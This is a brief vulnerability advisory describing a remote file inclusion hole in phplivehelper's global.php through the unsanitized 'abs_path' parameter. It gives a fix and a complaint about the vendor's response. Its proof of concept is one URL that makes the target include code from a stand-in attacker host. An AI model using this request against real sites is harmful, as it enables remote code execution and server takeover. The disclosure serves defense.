----------------------------------------------------------

Input passed to the "abs_path" parameter in global.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $abs_path on global.php.

Notification:
~~~~~~~~~~

I've been contacting the web/software administrator to tell about this hole in his system, 
but instead of giving  a nice response, he replied so rudely and arrogantly. 
I recommend not to use this product for your own sake.
